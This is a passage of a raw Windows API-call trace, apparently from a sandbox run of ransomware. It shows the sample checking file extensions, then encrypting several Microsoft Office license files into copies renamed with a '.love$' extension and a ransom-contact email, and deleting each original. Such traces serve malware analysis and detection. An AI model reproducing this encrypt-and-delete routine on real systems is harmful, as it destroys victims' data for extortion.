lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.297] lstrlenW (lpString=".dbf") returned 4 [0258.297] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.297] lstrlenW (lpString=".1cd") returned 4 [0258.297] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.297] lstrlenW (lpString=".jpg") returned 4 [0258.297] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.298] lstrlenW (lpString=".doc") returned 4 [0258.298] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.298] lstrlenW (lpString=".docx") returned 5 [0258.298] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.298] lstrlenW (lpString=".pdf") returned 4 [0258.298] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.298] lstrlenW (lpString=".xls") returned 4 [0258.298] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.298] lstrlenW (lpString=".xlsx") returned 5 [0258.298] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.298] lstrlenW (lpString=".ppt") returned 4 [0258.298] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.298] lstrlenW (lpString=".zip") returned 4 [0258.298] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.298] lstrlenW (lpString=".rar") returned 4 [0258.298] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.298] lstrlenW (lpString=".bz2") returned 4 [0258.298] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.298] lstrlenW (lpString=".7z") returned 3 [0258.298] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.298] lstrlenW (lpString=".dbf") returned 4 [0258.299] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.299] lstrlenW (lpString=".1cd") returned 4 [0258.299] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.299] lstrlenW (lpString=".jpg") returned 4 [0258.299] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.299] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.299] lstrlenW (lpString="ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 29 [0258.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0258.301] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=19927) returned 1 [0258.301] CloseHandle (hObject=0x4e4) returned 1 [0258.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0258.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0258.302] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.302] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0258.304] GetLastError () returned 0x0 [0258.305] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0258.424] WriteFile (in: hFile=0x3f4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0258.426] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.426] WriteFile (in: hFile=0x3f4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x10e, lpOverlapped=0x0) returned 1 [0258.426] SetEndOfFile (hFile=0x3f4) returned 1 [0258.426] CloseHandle (hObject=0x3f4) returned 1 [0258.426] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.427] SetEndOfFile (hFile=0x4e4) returned 1 [0258.431] CloseHandle (hObject=0x4e4) returned 1 [0258.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1 [0258.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.433] lstrlenW (lpString=".doc") returned 4 [0258.433] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.433] lstrlenW (lpString=".docx") returned 5 [0258.433] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.433] lstrlenW (lpString=".pdf") returned 4 [0258.433] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.433] lstrlenW (lpString=".xls") returned 4 [0258.433] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.433] lstrlenW (lpString=".xlsx") returned 5 [0258.433] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.434] lstrlenW (lpString=".ppt") returned 4 [0258.434] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.434] lstrlenW (lpString=".zip") returned 4 [0258.434] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.434] lstrlenW (lpString=".rar") returned 4 [0258.434] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.434] lstrlenW (lpString=".bz2") returned 4 [0258.434] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.434] lstrlenW (lpString=".7z") returned 3 [0258.434] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.434] lstrlenW (lpString=".dbf") returned 4 [0258.434] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.434] lstrlenW (lpString=".1cd") returned 4 [0258.434] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.434] lstrlenW (lpString=".jpg") returned 4 [0258.434] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.434] lstrlenW (lpString=".doc") returned 4 [0258.434] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.435] lstrlenW (lpString=".docx") returned 5 [0258.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.435] lstrlenW (lpString=".pdf") returned 4 [0258.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.435] lstrlenW (lpString=".xls") returned 4 [0258.435] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.435] lstrlenW (lpString=".xlsx") returned 5 [0258.435] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.435] lstrlenW (lpString=".ppt") returned 4 [0258.435] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.435] lstrlenW (lpString=".zip") returned 4 [0258.435] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.435] lstrlenW (lpString=".rar") returned 4 [0258.435] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.435] lstrlenW (lpString=".bz2") returned 4 [0258.435] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.435] lstrlenW (lpString=".7z") returned 3 [0258.435] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.436] lstrlenW (lpString=".dbf") returned 4 [0258.436] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.436] lstrlenW (lpString=".1cd") returned 4 [0258.436] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0258.436] lstrlenW (lpString=".jpg") returned 4 [0258.436] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.436] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.436] lstrlenW (lpString="ExcelR_Retail-ul-oob.xrm-ms") returned 27 [0258.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0258.438] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11574) returned 1 [0258.438] CloseHandle (hObject=0x4e4) returned 1 [0258.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220 [0258.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0258.439] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.439] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0258.442] GetLastError () returned 0x0 [0258.442] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d36, lpOverlapped=0x0) returned 1 [0259.413] WriteFile (in: hFile=0x3f4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0259.414] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0259.415] WriteFile (in: hFile=0x3f4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x10a, lpOverlapped=0x0) returned 1 [0259.415] SetEndOfFile (hFile=0x3f4) returned 1 [0259.415] CloseHandle (hObject=0x3f4) returned 1 [0259.415] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.415] SetEndOfFile (hFile=0x4e4) returned 1 [0259.491] CloseHandle (hObject=0x4e4) returned 1 [0259.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0259.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1 [0260.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.188] lstrlenW (lpString=".doc") returned 4 [0260.188] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.188] lstrlenW (lpString=".docx") returned 5 [0260.188] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.188] lstrlenW (lpString=".pdf") returned 4 [0260.188] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.188] lstrlenW (lpString=".xls") returned 4 [0260.188] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.188] lstrlenW (lpString=".xlsx") returned 5 [0260.188] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.188] lstrlenW (lpString=".ppt") returned 4 [0260.188] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.188] lstrlenW (lpString=".zip") returned 4 [0260.188] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.188] lstrlenW (lpString=".rar") returned 4 [0260.188] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.188] lstrlenW (lpString=".bz2") returned 4 [0260.188] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.188] lstrlenW (lpString=".7z") returned 3 [0260.188] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.188] lstrlenW (lpString=".dbf") returned 4 [0260.188] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.189] lstrlenW (lpString=".1cd") returned 4 [0260.189] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.189] lstrlenW (lpString=".jpg") returned 4 [0260.189] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.189] lstrlenW (lpString=".doc") returned 4 [0260.189] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.189] lstrlenW (lpString=".docx") returned 5 [0260.189] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.189] lstrlenW (lpString=".pdf") returned 4 [0260.189] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.189] lstrlenW (lpString=".xls") returned 4 [0260.189] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.189] lstrlenW (lpString=".xlsx") returned 5 [0260.189] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.189] lstrlenW (lpString=".ppt") returned 4 [0260.189] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.189] lstrlenW (lpString=".zip") returned 4 [0260.189] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.189] lstrlenW (lpString=".rar") returned 4 [0260.189] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.189] lstrlenW (lpString=".bz2") returned 4 [0260.189] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.190] lstrlenW (lpString=".7z") returned 3 [0260.190] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.190] lstrlenW (lpString=".dbf") returned 4 [0260.190] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.190] lstrlenW (lpString=".1cd") returned 4 [0260.190] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0260.190] lstrlenW (lpString=".jpg") returned 4 [0260.190] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.190] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0260.190] lstrlenW (lpString="ExcelVL_MAK-ul-oob.xrm-ms") returned 25 [0260.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0260.553] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11576) returned 1 [0260.553] CloseHandle (hObject=0x45c) returned 1 [0260.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220 [0260.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0260.554] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.554] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0260.555] GetLastError () returned 0x0 [0260.555] ReadFile (in: hFile=0x45c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d38, lpOverlapped=0x0) returned 1 [0260.659] WriteFile (in: hFile=0x564, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0260.661] ReadFile (in: hFile=0x45c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.661] WriteFile (in: hFile=0x564, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x106, lpOverlapped=0x0) returned 1 [0260.661] SetEndOfFile (hFile=0x564) returned 1 [0260.669] CloseHandle (hObject=0x564) returned 1 [0260.669] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.669] SetEndOfFile (hFile=0x45c) returned 1 [0260.676] CloseHandle (hObject=0x45c) returned 1 [0260.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1 [0260.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0260.798] lstrlenW (lpString=".doc") returned 4 [0260.798] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.798] lstrlenW (lpString=".docx") returned 5 [0260.798] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.798] lstrlenW (lpString=".pdf") returned 4 [0260.798] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.798] lstrlenW (lpString=".xls") returned 4 [0260.799] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.799] lstrlenW (lpString=".xlsx") returned 5 [0260.799] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.799] lstrlenW (lpString=".ppt") returned 4 [0260.799] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.799] lstrlenW (lpString="C:\\Program Files\\Microsoft 